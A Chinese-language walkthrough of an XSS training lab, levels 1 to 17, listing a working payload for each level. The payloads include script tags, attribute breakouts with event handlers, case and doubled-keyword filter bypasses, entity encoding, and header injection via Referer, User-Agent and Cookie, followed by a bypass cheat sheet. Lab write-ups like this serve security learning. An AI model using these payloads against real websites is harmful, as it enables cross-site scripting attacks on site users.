level1 #
签到题没有任何过滤,可直接在参数后添加测试exp进行弹窗。
192.168.88.112:8091/level1.php?name=test<script>alert(1)</script>
level2 #
在搜索框中直接尝试弹窗语句,没有成功
检查源码后发现插入的语句赋值给了input标签中的value参数,需要将value参数和input标签闭合即可。也可使用事件弹窗方法,参考level3 level4。
test"><script>alert(1)</script>
level3 #
这里将尖括号进行了转义,无法闭合input标签。value可以用单引号’闭合,然后使用事件弹窗。
‘test onclick=’alert(1),这里最后面会自动将onclick事件闭合
或者将标签注释掉 ’test onclick=alert(1)//
level4 #
和level3差不多,使用双引号”闭合value,然后使用事件弹窗。
"test onclick="alert(1)
“test onclick=alert(1)//
level5 #
对onlick和script进行了过滤,尝试a标签弹窗成功。
“><a href=”javascript:alert(1)
level6 #
该处过滤了onclick、script和href,并且使用str_replace函数进行替换,可以尝试用大小写绕过。
"><a HREF="javascript:alert(1)
"><SCRIPT>alert(1)</script>
"><SCRipT>alert(1)</script>
" ONCLICK="alert(1)
" ONclick="alert(1)
level7 #
本处对on事件,script,href完整单词进行屏蔽,替换为空,可以使用嵌套方法进行绕过。
“ oonnclick=”alert(1) 等等
level8 #
添加友情连接处可直接添加到href中,javascript被过滤,script,大小写和on事件被过滤,但是单引号 ’ ,% ,# ,& 符号没有被过滤,输出点在a标签内。
可用html实体编码绕过,只需将被过滤的单词中任意一个或多个进行html实体编码转换即可。
level9 #
发现跟上个挑战类似,不同的是多了一个自动检测url,如果没有http:// 内容则会显示不合法,
可以在可以在最后部分加上http:// 然后注释。
javascript:alert(1)//http://
level10 #
查看源码后发现有三个隐藏的input标签,经过测试,需要传输keyword和t_sort两个参数即可
将t_sort参数type改为text
keyword=test&t_sort=" type="text" onclick="alert(1)
level11 #
这个里面多了一个ref的参数,考察的是http头部的xss注入
使用burpsuite抓包,添加Referer头,构造payload
level12 #
和level11同理,修改user-agent即可,
User-Agent: " onclick=alert(1) type="text"
level13 #
和level11同理,修改cookie即可,
Cookie:” onclick=alert(1) type=”text”
level14 #
…
level15 #
最下面有ng-include包含的意思,和php中include意思一样,看了其他大佬的payload,可以包含第一关的页面,
src='level1.php?name=<script>alert(1)</script>‘
level16 #
这一关过滤了script 和空格,可以用其他的符号代替,%0a%0d
<svg%0a%0donload="alert(1)">
level17 #
17和18一样,页面中有一个swf,直接在参数位置构造payload
onmouseover=alert(1) 最前面有一个空格
xss注入大多在标签中进行
简单构造:<script>alert(1)</script>
好用的标签:<img src=x onerror=alert(1)>和<a href=javascript:alert(1)>123</a>
好用的参数:onmouseover=alert(1)
利用单双引号闭合标签。
关键字过滤问题:
大小写绕过(html不区分大小写),
双写绕过(只删除一次关键字的过滤)
html字符编码转码绕过(特殊符号,关键字字母),
回车空格替换。
html注释://
利用信息头文件注入 如:referer, cookie, user_agent。
angular js中的ng-include问题:引入问题页面。
flash xss中的getURL,navigateToURL:引入问题页面,或js代码。